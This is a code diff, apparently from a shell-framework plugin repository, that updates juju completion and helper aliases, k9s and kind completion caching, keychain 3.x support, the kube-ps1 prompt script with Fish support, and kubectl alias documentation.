fi
}
# Commands whose first positional argument is a model name.
_juju_model_commands=(
destroy-model
grant-model
revoke-model
switch
)
# Flags that take a model name as their value.
_juju_model_flags=(
-m
--model
)
__juju_controllers()
{
command juju controllers --format=json 2>/dev/null \
| command jq -r '.controllers | keys | .[]' 2>/dev/null
}
# Commands whose first positional argument is a controller name.
_juju_controller_commands=(
destroy-controller
kill-controller
login
logout
unregister
)
# Flags that take a controller name as their value.
_juju_controller_flags=(
-c
--controller
)
_juju()
{
__juju_debug "[_juju] curcontext: ${curcontext}"
local -a completions
__juju_debug "[_juju] words: ${words[*]}, CURRENT: $CURRENT"
# Find the subcommand: first non-flag word typed after "juju", excluding the
# word currently being completed (words[CURRENT]).
local subcmd=""
local i
for (( i = 2; i < CURRENT; i++ )); do
if [[ "${words[i]}" != -* ]]; then
subcmd="${words[i]}"
break
fi
done
local current="${words[CURRENT]}"
local prev="${words[CURRENT-1]}"
__juju_debug "[_juju] subcmd: '${subcmd}', current: '${current}', prev: '${prev}'"
# Controller name completion: flag value (e.g. juju status -c <TAB>)
if (( ${_juju_controller_flags[(I)$prev]} )); then
completions=("${(@f)$(__juju_controllers)}")
__juju_debug "[_juju] controller flag completions: ${#completions}"
(( ${#completions} )) && _describe "controller" completions && return 0
return 1
fi
# Model name completion: flag value (e.g. juju status -m <TAB> or -m ctrl:<TAB>)
if (( ${_juju_model_flags[(I)$prev]} )); then
__juju_debug "[_juju] model flag completion, current: '${current}'"
__juju_complete_model "$current" && return 0
return 1
fi
if [[ -z "$subcmd" ]]; then
# No subcommand yet — complete subcommand names.
completions=("${(@f)$(__juju_help_commands)}")
__juju_debug "[_juju] command completions count: ${#completions}"
(( ${#completions} )) && _describe "command" completions && return 0
return 1
fi
# Controller name completion: positional arg (e.g. juju destroy-controller <TAB>)
if (( ${_juju_controller_commands[(I)$subcmd]} )) && [[ "$current" != -* ]]; then
completions=("${(@f)$(__juju_controllers)}")
__juju_debug "[_juju] controller command completions: ${#completions}"
(( ${#completions} )) && _describe "controller" completions && return 0
return 1
fi
# Model name completion: positional arg (e.g. juju destroy-model <TAB> or ctrl:<TAB>)
if (( ${_juju_model_commands[(I)$subcmd]} )) && [[ "$current" != -* ]]; then
__juju_debug "[_juju] model command completion, current: '${current}'"
__juju_complete_model "$current" && return 0
return 1
fi
# Flag completion for all other subcommands (also shown without leading dash)
completions=("${(@f)$(__juju_help_options "$subcmd")}")
__juju_debug "[_juju] option completions count: ${#completions}"
(( ${#completions} )) && _describe "option" completions && return 0
return 1
}
+15 -20
View File
@@ -1,17 +1,5 @@
# ---------------------------------------------------------- # # ---------------------------------------------------------- #
# Aliases and functions for juju (https://juju.is) # # Aliases and functions for juju (https://juju.is) #
# ---------------------------------------------------------- #
# Load TAB completions
# You need juju's bash completion script installed. By default bash-completion's
# location will be used (i.e. pkg-config --variable=completionsdir bash-completion).
completion_file="$(pkg-config --variable=completionsdir bash-completion 2>/dev/null)/juju" || \
completion_file="/usr/share/bash-completion/completions/juju"
[[ -f "$completion_file" ]] && source "$completion_file"
unset completion_file
# ---------------------------------------------------------- #
# Aliases (in alphabetic order) #
# # # #
# Generally, # # Generally, #
# - `!` means --force --no-wait -y # # - `!` means --force --no-wait -y #
@@ -132,6 +120,7 @@ jclean() {
fi fi
echo echo
local controller
for controller in ${=controllers}; do for controller in ${=controllers}; do
timeout 2m juju destroy-controller --destroy-all-models --destroy-storage --force --no-wait -y $controller timeout 2m juju destroy-controller --destroy-all-models --destroy-storage --force --no-wait -y $controller
timeout 2m juju kill-controller -y -t 0 $controller 2>/dev/null timeout 2m juju kill-controller -y -t 0 $controller 2>/dev/null
@@ -165,10 +154,11 @@ jreld() {
# Return Juju current controller # Return Juju current controller
jcontroller() { jcontroller() {
local controller="$(awk '/current-controller/ {print $2}' ~/.local/share/juju/controllers.yaml)" local file="${JUJU_DATA:-$HOME/.local/share/juju}/controllers.yaml"
if [[ -z "$controller" ]]; then [[ -f "$file" ]] || return 1
return 1
fi local controller="$(awk '/current-controller/ {print $2}' "$file")"
[[ -z "$controller" ]] && return 1
echo $controller echo $controller
return 0 return 0
@@ -176,6 +166,9 @@ jcontroller() {
# Return Juju current model # Return Juju current model
jmodel() { jmodel() {
local file="${JUJU_DATA:-$HOME/.local/share/juju}/models.yaml"
[[ -f "$file" ]] || return 1
local yqbin="$(whereis yq | awk '{print $2}')" local yqbin="$(whereis yq | awk '{print $2}')"
if [[ -z "$yqbin" ]]; then if [[ -z "$yqbin" ]]; then
@@ -183,9 +176,10 @@ jmodel() {
return 1 return 1
fi fi
local model="$(yq e ".controllers.$(jcontroller).current-model" < ~/.local/share/juju/models.yaml | cut -d/ -f2)" local controller="$(jcontroller)"
local model="$(yq e ".controllers.[\"${controller}\"].current-model" < "${file}" | cut -d/ -f2)"
if [[ -z "$model" ]]; then if [[ -z "$model" || $model == "null" ]]; then
echo "--" echo "--"
return 1 return 1
fi fi
@@ -194,9 +188,10 @@ jmodel() {
return 0 return 0
} }
# Watch juju status, with optional interval (default: 5 sec) # Watch juju status, with optional interval (default: 1 sec)
wjst() { wjst() {
local interval="${1:-5}" command -v juju >/dev/null 2>&1 || return 1
local interval="${1:-1}"
shift $(( $# > 0 )) shift $(( $# > 0 ))
watch -n "$interval" --color juju status --relations --color "$@" watch -n "$interval" --color juju status --relations --color "$@"
} }
+5 -1
View File
@@ -11,4 +11,8 @@ fi
# and then generate it in the background. On first completion, # and then generate it in the background. On first completion,
# the actual completion file will be loaded. # the actual completion file will be loaded.
k9s completion zsh >| "$ZSH_CACHE_DIR/completions/_k9s" &| zmodload -F zsh/files b:zf_mv
() {
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_k9s"
zf_mv -f -- =( k9s completion zsh ) "$TMPPREFIX"
} &|
+21 -8
View File
@@ -4,14 +4,11 @@
SHORT_HOST=${SHORT_HOST:-${(%):-%m}} SHORT_HOST=${SHORT_HOST:-${(%):-%m}}
function { function {
local agents
local -a identities local -a identities
local -a options local -a options
local _keychain_env_sh local _keychain_env_sh
local _keychain_env_sh_gpg local _keychain_env_sh_gpg
local version_string major
# load agents to start.
zstyle -s :omz:plugins:keychain agents agents
# load identities to manage. # load identities to manage.
zstyle -a :omz:plugins:keychain identities identities zstyle -a :omz:plugins:keychain identities identities
@@ -19,16 +16,32 @@ function {
# load additional options # load additional options
zstyle -a :omz:plugins:keychain options options zstyle -a :omz:plugins:keychain options options
# Check keychain version to decide whether to use --agents # Detect major version robustly: case-insensitive, tolerant of
local version_string=$(keychain --version 2>&1) # "keychain 3.0.0_beta3" / "Keychain 3.0.0" / etc.
# start keychain, only use --agents for versions below 2.9.0 version_string=$(keychain --version 2>&1)
if [[ "${version_string:l}" =~ '([0-9]+)\.[0-9]+' ]]; then
major=${match[1]}
else
major=2
fi
if (( major >= 3 )); then
# Keychain 3.x: subcommand-based CLI, no --agents.
keychain add ${^options:-} --host $SHORT_HOST ${^identities}
else
local agents
# load agents to start (only used by keychain < 2.9).
zstyle -s :omz:plugins:keychain agents agents
autoload -Uz is-at-least autoload -Uz is-at-least
if [[ "$version_string" =~ 'keychain ([0-9]+\.[0-9]+)' ]] && \ if [[ "${version_string:l}" =~ 'keychain ([0-9]+\.[0-9]+)' ]] && \
is-at-least 2.9 "$match[1]"; then is-at-least 2.9 "$match[1]"; then
keychain ${^options:-} ${^identities} --host $SHORT_HOST keychain ${^options:-} ${^identities} --host $SHORT_HOST
else else
keychain ${^options:-} --agents ${agents:-gpg} ${^identities} --host $SHORT_HOST keychain ${^options:-} --agents ${agents:-gpg} ${^identities} --host $SHORT_HOST
fi fi
fi
# Get the filenames to store/lookup the environment from # Get the filenames to store/lookup the environment from
_keychain_env_sh="$HOME/.keychain/$SHORT_HOST-sh" _keychain_env_sh="$HOME/.keychain/$SHORT_HOST-sh"
+5 -1
View File
@@ -11,7 +11,11 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_kind" ]]; then
fi fi
# Generate and load kind completion # Generate and load kind completion
kind completion zsh >! "$ZSH_CACHE_DIR/completions/_kind" &| zmodload -F zsh/files b:zf_mv
() {
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_kind"
zf_mv -f -- =( kind completion zsh ) "$TMPPREFIX"
} &|
# Register aliases # Register aliases
alias kicc="kind create cluster" alias kicc="kind create cluster"
+18 -5
View File
@@ -1,10 +1,9 @@
# kube-ps1: Kubernetes prompt for bash and zsh # kube-ps1: Kubernetes prompt for bash, zsh, and fish
![GitHub Release](https://img.shields.io/github/v/release/jonmosco/kube-ps1) ![GitHub Release](https://img.shields.io/github/v/release/jonmosco/kube-ps1)
[![CI](https://github.com/jonmosco/kube-ps1/actions/workflows/ci.yml/badge.svg)](https://github.com/jonmosco/kube-ps1/actions/workflows/ci.yml) [![CI](https://github.com/jonmosco/kube-ps1/actions/workflows/ci.yml/badge.svg)](https://github.com/jonmosco/kube-ps1/actions/workflows/ci.yml)
A script that lets you add the current Kubernetes context and namespace A script that lets you add the current Kubernetes context and namespace configured on `kubectl` to your Bash, Zsh, or Fish prompt.
configured on `kubectl` to your Bash/Zsh prompt strings (i.e. the `$PS1`).
Inspired by several tools used to simplify usage of `kubectl`. Inspired by several tools used to simplify usage of `kubectl`.
@@ -77,6 +76,21 @@ source /path/to/kube-ps1.sh
PS1='[\u@\h \W $(kube_ps1)]\$ ' PS1='[\u@\h \W $(kube_ps1)]\$ '
``` ```
#### Fish
Add this to `~/.config/fish/config.fish`:
```fish
source /path/to/kube-ps1.fish
function fish_prompt
echo -n (kube_ps1) ' '
# your existing prompt here
end
```
> Note: Fish users should source `kube-ps1.fish` instead of `kube-ps1.sh`.
## Requirements ## Requirements
The default prompt assumes you have the `kubectl` command line utility installed. The default prompt assumes you have the `kubectl` command line utility installed.
@@ -184,8 +198,7 @@ If the font is not properly installed, and the glyph is not available, it will d
## Customization ## Customization
The default settings can be overridden in `~/.bashrc` or `~/.zshrc` by setting The default settings can be overridden in `~/.bashrc`, `~/.zshrc`, or `~/.config/fish/config.fish` by setting the following variables:
the following variables:
| Variable | Default | Meaning | | Variable | Default | Meaning |
| :------- | :-----: | ------- | | :------- | :-----: | ------- |
+66 -42
View File
@@ -49,13 +49,32 @@ _kube_ps1_shell_type() {
elif [ "${BASH_VERSION-}" ]; then elif [ "${BASH_VERSION-}" ]; then
_KUBE_PS1_SHELL_TYPE="bash" _KUBE_PS1_SHELL_TYPE="bash"
fi fi
echo $_KUBE_PS1_SHELL_TYPE echo "$_KUBE_PS1_SHELL_TYPE"
} }
_kube_ps1_init() { _kube_ps1_init() {
[[ -f "${_KUBE_PS1_DISABLE_PATH}" ]] && KUBE_PS1_ENABLED=off [[ -f "${_KUBE_PS1_DISABLE_PATH}" ]] && KUBE_PS1_ENABLED=off
case "$(_kube_ps1_shell_type)" in # Detect shell type once and cache it
_KUBE_PS1_SHELL="$(_kube_ps1_shell_type)"
# Check tput availability once
if tput setaf 1 &> /dev/null; then
_KUBE_PS1_TPUT_AVAILABLE=true
else
_KUBE_PS1_TPUT_AVAILABLE=false
fi
# Detect stat type once (not needed for zsh which uses zstat builtin)
if [[ "${_KUBE_PS1_SHELL}" != "zsh" ]]; then
if stat -c "%s" /dev/null &> /dev/null; then
_KUBE_PS1_STAT_TYPE="gnu"
else
_KUBE_PS1_STAT_TYPE="bsd"
fi
fi
case "${_KUBE_PS1_SHELL}" in
"zsh") "zsh")
_KUBE_PS1_OPEN_ESC="%{" _KUBE_PS1_OPEN_ESC="%{"
_KUBE_PS1_CLOSE_ESC="%}" _KUBE_PS1_CLOSE_ESC="%}"
@@ -88,20 +107,20 @@ _kube_ps1_color_fg() {
magenta) _KUBE_PS1_FG_CODE=5;; magenta) _KUBE_PS1_FG_CODE=5;;
cyan) _KUBE_PS1_FG_CODE=6;; cyan) _KUBE_PS1_FG_CODE=6;;
white) _KUBE_PS1_FG_CODE=7;; white) _KUBE_PS1_FG_CODE=7;;
# 256 # 256 colors
[0-9]|[1-9][0-9]|[1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-6]) _KUBE_PS1_FG_CODE="${1}";; [0-9]|[1-9][0-9]|[1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-5]) _KUBE_PS1_FG_CODE="${1}";;
*) _KUBE_PS1_FG_CODE=default *) _KUBE_PS1_FG_CODE=default
esac esac
if [[ "${_KUBE_PS1_FG_CODE}" == "default" ]]; then if [[ "${_KUBE_PS1_FG_CODE}" == "default" ]]; then
_KUBE_PS1_FG_CODE="${_KUBE_PS1_DEFAULT_FG}" _KUBE_PS1_FG_CODE="${_KUBE_PS1_DEFAULT_FG}"
return return
elif [[ "$(_kube_ps1_shell_type)" == "zsh" ]]; then elif [[ "${_KUBE_PS1_SHELL}" == "zsh" ]]; then
_KUBE_PS1_FG_CODE="%F{$_KUBE_PS1_FG_CODE}" _KUBE_PS1_FG_CODE="%F{$_KUBE_PS1_FG_CODE}"
elif [[ "$(_kube_ps1_shell_type)" == "bash" ]]; then elif [[ "${_KUBE_PS1_SHELL}" == "bash" ]]; then
if tput setaf 1 &> /dev/null; then if [[ "${_KUBE_PS1_TPUT_AVAILABLE}" == "true" ]]; then
_KUBE_PS1_FG_CODE="$(tput setaf "${_KUBE_PS1_FG_CODE}")" _KUBE_PS1_FG_CODE="$(tput setaf "${_KUBE_PS1_FG_CODE}")"
elif [[ $_KUBE_PS1_FG_CODE -ge 0 ]] && [[ $_KUBE_PS1_FG_CODE -le 256 ]]; then elif [[ $_KUBE_PS1_FG_CODE -ge 0 ]] && [[ $_KUBE_PS1_FG_CODE -le 255 ]]; then
_KUBE_PS1_FG_CODE="\033[38;5;${_KUBE_PS1_FG_CODE}m" _KUBE_PS1_FG_CODE="\033[38;5;${_KUBE_PS1_FG_CODE}m"
else else
_KUBE_PS1_FG_CODE="${_KUBE_PS1_DEFAULT_FG}" _KUBE_PS1_FG_CODE="${_KUBE_PS1_DEFAULT_FG}"
@@ -121,30 +140,30 @@ _kube_ps1_color_bg() {
magenta) _KUBE_PS1_BG_CODE=5;; magenta) _KUBE_PS1_BG_CODE=5;;
cyan) _KUBE_PS1_BG_CODE=6;; cyan) _KUBE_PS1_BG_CODE=6;;
white) _KUBE_PS1_BG_CODE=7;; white) _KUBE_PS1_BG_CODE=7;;
# 256 # 256 colors
[0-9]|[1-9][0-9]|[1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-6]) _KUBE_PS1_BG_CODE="${1}";; [0-9]|[1-9][0-9]|[1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-5]) _KUBE_PS1_BG_CODE="${1}";;
*) _KUBE_PS1_BG_CODE=$'\033[0m';; *) _KUBE_PS1_BG_CODE=default
esac esac
if [[ "${_KUBE_PS1_BG_CODE}" == "default" ]]; then if [[ "${_KUBE_PS1_BG_CODE}" == "default" ]]; then
_KUBE_PS1_FG_CODE="${_KUBE_PS1_DEFAULT_BG}" _KUBE_PS1_BG_CODE="${_KUBE_PS1_DEFAULT_BG}"
return return
elif [[ "$(_kube_ps1_shell_type)" == "zsh" ]]; then elif [[ "${_KUBE_PS1_SHELL}" == "zsh" ]]; then
_KUBE_PS1_BG_CODE="%K{$_KUBE_PS1_BG_CODE}" _KUBE_PS1_BG_CODE="%K{$_KUBE_PS1_BG_CODE}"
elif [[ "$(_kube_ps1_shell_type)" == "bash" ]]; then elif [[ "${_KUBE_PS1_SHELL}" == "bash" ]]; then
if tput setaf 1 &> /dev/null; then if [[ "${_KUBE_PS1_TPUT_AVAILABLE}" == "true" ]]; then
_KUBE_PS1_BG_CODE="$(tput setab "${_KUBE_PS1_BG_CODE}")" _KUBE_PS1_BG_CODE="$(tput setab "${_KUBE_PS1_BG_CODE}")"
elif [[ $_KUBE_PS1_BG_CODE -ge 0 ]] && [[ $_KUBE_PS1_BG_CODE -le 256 ]]; then elif [[ $_KUBE_PS1_BG_CODE -ge 0 ]] && [[ $_KUBE_PS1_BG_CODE -le 255 ]]; then
_KUBE_PS1_BG_CODE="\033[48;5;${_KUBE_PS1_BG_CODE}m" _KUBE_PS1_BG_CODE="\033[48;5;${_KUBE_PS1_BG_CODE}m"
else else
_KUBE_PS1_BG_CODE="${DEFAULT_BG}" _KUBE_PS1_BG_CODE="${_KUBE_PS1_DEFAULT_BG}"
fi fi
fi fi
echo "${_KUBE_PS1_OPEN_ESC}${_KUBE_PS1_BG_CODE}${_KUBE_PS1_CLOSE_ESC}" echo "${_KUBE_PS1_OPEN_ESC}${_KUBE_PS1_BG_CODE}${_KUBE_PS1_CLOSE_ESC}"
} }
_kube_ps1_binary_check() { _kube_ps1_binary_check() {
command -v $1 >/dev/null command -v "$1" >/dev/null
} }
_kube_ps1_symbol() { _kube_ps1_symbol() {
@@ -161,6 +180,7 @@ _kube_ps1_symbol() {
local oc_glyph=$'\ue7b7' local oc_glyph=$'\ue7b7'
local oc_symbol_color=red local oc_symbol_color=red
local custom_symbol_color="${KUBE_PS1_SYMBOL_COLOR:-$k8s_symbol_color}" local custom_symbol_color="${KUBE_PS1_SYMBOL_COLOR:-$k8s_symbol_color}"
local KUBE_PS1_RESET_COLOR="${_KUBE_PS1_OPEN_ESC}${_KUBE_PS1_DEFAULT_FG}${_KUBE_PS1_CLOSE_ESC}"
# Choose the symbol based on the provided argument or environment variable # Choose the symbol based on the provided argument or environment variable
case "${symbol_arg}" in case "${symbol_arg}" in
@@ -174,7 +194,7 @@ _kube_ps1_symbol() {
symbol="$(_kube_ps1_color_fg ${oc_symbol_color})${oc_glyph}${KUBE_PS1_RESET_COLOR}" symbol="$(_kube_ps1_color_fg ${oc_symbol_color})${oc_glyph}${KUBE_PS1_RESET_COLOR}"
;; ;;
*) *)
case "$(_kube_ps1_shell_type)" in case "${_KUBE_PS1_SHELL}" in
bash) bash)
if ((BASH_VERSINFO[0] >= 4)) && [[ $'\u2388' != "\\u2388" ]]; then if ((BASH_VERSINFO[0] >= 4)) && [[ $'\u2388' != "\\u2388" ]]; then
symbol="$(_kube_ps1_color_fg $custom_symbol_color)${symbol_default}${KUBE_PS1_RESET_COLOR}" symbol="$(_kube_ps1_color_fg $custom_symbol_color)${symbol_default}${KUBE_PS1_RESET_COLOR}"
@@ -212,18 +232,30 @@ _kube_ps1_file_newer_than() {
local file=$1 local file=$1
local check_time=$2 local check_time=$2
if [[ "$(_kube_ps1_shell_type)" == "zsh" ]]; then if [[ "${_KUBE_PS1_SHELL}" == "zsh" ]]; then
# Use zstat '-F %s.%s' to make it compatible with low zsh version (eg: 5.0.2) # Use zstat '-F %s.%s' to make it compatible with low zsh version (eg: 5.0.2)
mtime=$(zstat -L +mtime -F %s.%s "${file}") mtime=$(zstat -L +mtime -F %s.%s "${file}")
elif stat -c "%s" /dev/null &> /dev/null; then elif [[ "${_KUBE_PS1_STAT_TYPE}" == "gnu" ]]; then
# GNU stat
mtime=$(stat -L -c %Y "${file}") mtime=$(stat -L -c %Y "${file}")
else else
# BSD stat
mtime=$(stat -L -f %m "$file") mtime=$(stat -L -f %m "$file")
fi fi
[[ "${mtime}" -gt "${check_time}" ]] [[ "${mtime}" -gt "${check_time}" ]] && return 0
# If the path is a symlink, also check the symlink's own mtime
if [[ -L "${file}" ]]; then
if [[ "${_KUBE_PS1_SHELL}" == "zsh" ]]; then
mtime=$(zstat +mtime -F %s.%s "${file}")
elif [[ "${_KUBE_PS1_STAT_TYPE}" == "gnu" ]]; then
mtime=$(stat -c %Y "${file}")
else
mtime=$(stat -f %m "$file")
fi
[[ "${mtime}" -gt "${check_time}" ]] && return 0
fi
return 1
} }
_kube_ps1_prompt_update() { _kube_ps1_prompt_update() {
@@ -270,7 +302,6 @@ _kube_ps1_prompt_update() {
_kube_ps1_get_context() { _kube_ps1_get_context() {
if [[ "${KUBE_PS1_CONTEXT_ENABLE}" == true ]]; then if [[ "${KUBE_PS1_CONTEXT_ENABLE}" == true ]]; then
KUBE_PS1_CONTEXT="$(${KUBE_PS1_BINARY} config current-context 2>/dev/null)" KUBE_PS1_CONTEXT="$(${KUBE_PS1_BINARY} config current-context 2>/dev/null)"
# Set namespace to 'N/A' if it is not defined
KUBE_PS1_CONTEXT="${KUBE_PS1_CONTEXT:-N/A}" KUBE_PS1_CONTEXT="${KUBE_PS1_CONTEXT:-N/A}"
if [[ -n "${KUBE_PS1_CLUSTER_FUNCTION}" ]]; then if [[ -n "${KUBE_PS1_CLUSTER_FUNCTION}" ]]; then
@@ -292,19 +323,16 @@ _kube_ps1_get_ns() {
_kube_ps1_get_context_ns() { _kube_ps1_get_context_ns() {
# Set the command time # Set the command time
if [[ "$(_kube_ps1_shell_type)" == "bash" ]]; then if [[ "${_KUBE_PS1_SHELL}" == "bash" ]]; then
if ((BASH_VERSINFO[0] >= 4 && BASH_VERSINFO[1] >= 2)); then if ((BASH_VERSINFO[0] > 4 || (BASH_VERSINFO[0] == 4 && BASH_VERSINFO[1] >= 2))); then
_KUBE_PS1_LAST_TIME=$(printf '%(%s)T') _KUBE_PS1_LAST_TIME=$(printf '%(%s)T')
else else
_KUBE_PS1_LAST_TIME=$(date +%s) _KUBE_PS1_LAST_TIME=$(date +%s)
fi fi
elif [[ "$(_kube_ps1_shell_type)" == "zsh" ]]; then elif [[ "${_KUBE_PS1_SHELL}" == "zsh" ]]; then
_KUBE_PS1_LAST_TIME=$EPOCHREALTIME _KUBE_PS1_LAST_TIME=$EPOCHREALTIME
fi fi
KUBE_PS1_CONTEXT="${KUBE_PS1_CONTEXT:-N/A}"
KUBE_PS1_NAMESPACE="${KUBE_PS1_NAMESPACE:-N/A}"
# Cache which cfgfiles we can read in case they change. # Cache which cfgfiles we can read in case they change.
local conf local conf
_KUBE_PS1_CFGFILES_READ_CACHE= _KUBE_PS1_CFGFILES_READ_CACHE=
@@ -325,7 +353,7 @@ Toggle kube-ps1 prompt on
Usage: kubeon [-g | --global] [-h | --help] Usage: kubeon [-g | --global] [-h | --help]
With no arguments, turn oon kube-ps1 status for this shell instance (default). With no arguments, turn on kube-ps1 status for this shell instance (default).
-g --global turn on kube-ps1 status globally -g --global turn on kube-ps1 status globally
-h --help print this message -h --help print this message
@@ -348,12 +376,13 @@ EOF
kubeon() { kubeon() {
if [[ "${1}" == '-h' || "${1}" == '--help' ]]; then if [[ "${1}" == '-h' || "${1}" == '--help' ]]; then
_kubeon_usage _kubeon_usage
return 0
elif [[ "${1}" == '-g' || "${1}" == '--global' ]]; then elif [[ "${1}" == '-g' || "${1}" == '--global' ]]; then
rm -f -- "${_KUBE_PS1_DISABLE_PATH}" rm -f -- "${_KUBE_PS1_DISABLE_PATH}"
elif [[ "$#" -ne 0 ]]; then elif [[ "$#" -ne 0 ]]; then
echo -e "error: unrecognized flag ${1}\\n" echo -e "error: unrecognized flag ${1}\\n" >&2
_kubeon_usage _kubeon_usage
return return 1
fi fi
KUBE_PS1_ENABLED=on KUBE_PS1_ENABLED=on
@@ -362,13 +391,14 @@ kubeon() {
kubeoff() { kubeoff() {
if [[ "${1}" == '-h' || "${1}" == '--help' ]]; then if [[ "${1}" == '-h' || "${1}" == '--help' ]]; then
_kubeoff_usage _kubeoff_usage
return 0
elif [[ "${1}" == '-g' || "${1}" == '--global' ]]; then elif [[ "${1}" == '-g' || "${1}" == '--global' ]]; then
mkdir -p -- "$(dirname "${_KUBE_PS1_DISABLE_PATH}")" mkdir -p -- "$(dirname "${_KUBE_PS1_DISABLE_PATH}")"
touch -- "${_KUBE_PS1_DISABLE_PATH}" touch -- "${_KUBE_PS1_DISABLE_PATH}"
elif [[ $# -ne 0 ]]; then elif [[ $# -ne 0 ]]; then
echo "error: unrecognized flag ${1}" >&2 echo -e "error: unrecognized flag ${1}\\n" >&2
_kubeoff_usage _kubeoff_usage
return return 1
fi fi
KUBE_PS1_ENABLED=off KUBE_PS1_ENABLED=off
@@ -380,15 +410,9 @@ kube_ps1() {
[[ -z "${KUBE_PS1_CONTEXT}" ]] && [[ "${KUBE_PS1_CONTEXT_ENABLE}" == true ]] && return [[ -z "${KUBE_PS1_CONTEXT}" ]] && [[ "${KUBE_PS1_CONTEXT_ENABLE}" == true ]] && return
[[ "${KUBE_PS1_CONTEXT}" == "N/A" ]] && [[ ${KUBE_PS1_HIDE_IF_NOCONTEXT} == true ]] && return [[ "${KUBE_PS1_CONTEXT}" == "N/A" ]] && [[ ${KUBE_PS1_HIDE_IF_NOCONTEXT} == true ]] && return
local KUBE_PS1 local KUBE_PS1
local KUBE_PS1_RESET_COLOR="${_KUBE_PS1_OPEN_ESC}${_KUBE_PS1_DEFAULT_FG}${_KUBE_PS1_CLOSE_ESC}" local KUBE_PS1_RESET_COLOR="${_KUBE_PS1_OPEN_ESC}${_KUBE_PS1_DEFAULT_FG}${_KUBE_PS1_CLOSE_ESC}"
# If background color is set, reset color should also reset the background
# if [[ -n "${KUBE_PS1_BG_COLOR}" ]]; then
# KUBE_PS1_RESET_COLOR="${_KUBE_PS1_OPEN_ESC}${_KUBE_PS1_DEFAULT_FG}${_KUBE_PS1_DEFAULT_BG}${_KUBE_PS1_CLOSE_ESC}"
# fi
# Background Color # Background Color
[[ -n "${KUBE_PS1_BG_COLOR}" ]] && KUBE_PS1+="$(_kube_ps1_color_bg "${KUBE_PS1_BG_COLOR}")" [[ -n "${KUBE_PS1_BG_COLOR}" ]] && KUBE_PS1+="$(_kube_ps1_color_bg "${KUBE_PS1_BG_COLOR}")"
+17
View File
@@ -35,13 +35,16 @@ plugins=(... kubectl)
| kgpl | `kgp -l` | Get pods by label. Example: `kgpl "app=myapp" -n myns` | | kgpl | `kgp -l` | Get pods by label. Example: `kgpl "app=myapp" -n myns` |
| kgpn | `kgp -n` | Get pods by namespace. Example: `kgpn kube-system` | | kgpn | `kgp -n` | Get pods by namespace. Example: `kgpn kube-system` |
| kgpsl | `kubectl get pods --show-labels` | List all pods in ps output format with labels | | kgpsl | `kubectl get pods --show-labels` | List all pods in ps output format with labels |
| kgpa | `kubectl get pods --all-namespaces` | List all pods in ps output format across all namespaces |
| kgpw | `kgp --watch` | After listing/getting the requested object, watch for changes | | kgpw | `kgp --watch` | After listing/getting the requested object, watch for changes |
| kgpwide | `kgp -o wide` | Output in plain-text format with any additional information. For pods, the node name is included | | kgpwide | `kgp -o wide` | Output in plain-text format with any additional information. For pods, the node name is included |
| kgpall | `kubectl get pods --all-namespaces -o wide` | List all pods across all namespaces in wide output format (including node name) |
| kep | `kubectl edit pods` | Edit pods from the default editor | | kep | `kubectl edit pods` | Edit pods from the default editor |
| kdp | `kubectl describe pods` | Describe all pods | | kdp | `kubectl describe pods` | Describe all pods |
| kdelp | `kubectl delete pods` | Delete all pods matching passed arguments | | kdelp | `kubectl delete pods` | Delete all pods matching passed arguments |
| | | **Service management** | | | | **Service management** |
| kgs | `kubectl get svc` | List all services in ps output format | | kgs | `kubectl get svc` | List all services in ps output format |
| kgsa | `kubectl get svc --all-namespaces` | List all services across all namespaces |
| kgsw | `kgs --watch` | After listing all services, watch for changes | | kgsw | `kgs --watch` | After listing all services, watch for changes |
| kgswide | `kgs -o wide` | After listing all services, output in plain-text format with any additional information | | kgswide | `kgs -o wide` | After listing all services, output in plain-text format with any additional information |
| kes | `kubectl edit svc` | Edit services(svc) from the default editor | | kes | `kubectl edit svc` | Edit services(svc) from the default editor |
@@ -49,6 +52,7 @@ plugins=(... kubectl)
| kdels | `kubectl delete svc` | Delete all services matching passed argument | | kdels | `kubectl delete svc` | Delete all services matching passed argument |
| | | **Ingress management** | | | | **Ingress management** |
| kgi | `kubectl get ingress` | List ingress resources in ps output format | | kgi | `kubectl get ingress` | List ingress resources in ps output format |
| kgia | `kubectl get ingress --all-namespaces` | List ingress resources across all namespaces |
| kei | `kubectl edit ingress` | Edit ingress resource from the default editor | | kei | `kubectl edit ingress` | Edit ingress resource from the default editor |
| kdi | `kubectl describe ingress` | Describe ingress resource in detail | | kdi | `kubectl describe ingress` | Describe ingress resource in detail |
| kdeli | `kubectl delete ingress` | Delete ingress resources matching passed argument | | kdeli | `kubectl delete ingress` | Delete ingress resources matching passed argument |
@@ -60,15 +64,19 @@ plugins=(... kubectl)
| kdelns | `kubectl delete namespace` | Delete the namespace. WARNING! This deletes everything in the namespace | | kdelns | `kubectl delete namespace` | Delete the namespace. WARNING! This deletes everything in the namespace |
| | | **ConfigMap management** | | | | **ConfigMap management** |
| kgcm | `kubectl get configmaps` | List the configmaps in ps output format | | kgcm | `kubectl get configmaps` | List the configmaps in ps output format |
| kgcma | `kubectl get configmaps --all-namespaces` | List configmaps across all namespaces |
| kecm | `kubectl edit configmap` | Edit configmap resource from the default editor | | kecm | `kubectl edit configmap` | Edit configmap resource from the default editor |
| kdcm | `kubectl describe configmap` | Describe configmap resource in detail | | kdcm | `kubectl describe configmap` | Describe configmap resource in detail |
| kdelcm | `kubectl delete configmap` | Delete the configmap | | kdelcm | `kubectl delete configmap` | Delete the configmap |
| | | **Secret management** | | | | **Secret management** |
| kgsec | `kubectl get secret` | Get secret for decoding | | kgsec | `kubectl get secret` | Get secret for decoding |
| kgseca | `kubectl get secret --all-namespaces` | List secrets across all namespaces |
| kesec | `kubectl edit secret` | Edit secret resource |
| kdsec | `kubectl describe secret` | Describe secret resource in detail | | kdsec | `kubectl describe secret` | Describe secret resource in detail |
| kdelsec | `kubectl delete secret` | Delete the secret | | kdelsec | `kubectl delete secret` | Delete the secret |
| | | **Deployment management** | | | | **Deployment management** |
| kgd | `kubectl get deployment` | Get the deployment | | kgd | `kubectl get deployment` | Get the deployment |
| kgda | `kubectl get deployment --all-namespaces` | List deployments across all namespaces |
| kgdw | `kgd --watch` | After getting the deployment, watch for changes | | kgdw | `kgd --watch` | After getting the deployment, watch for changes |
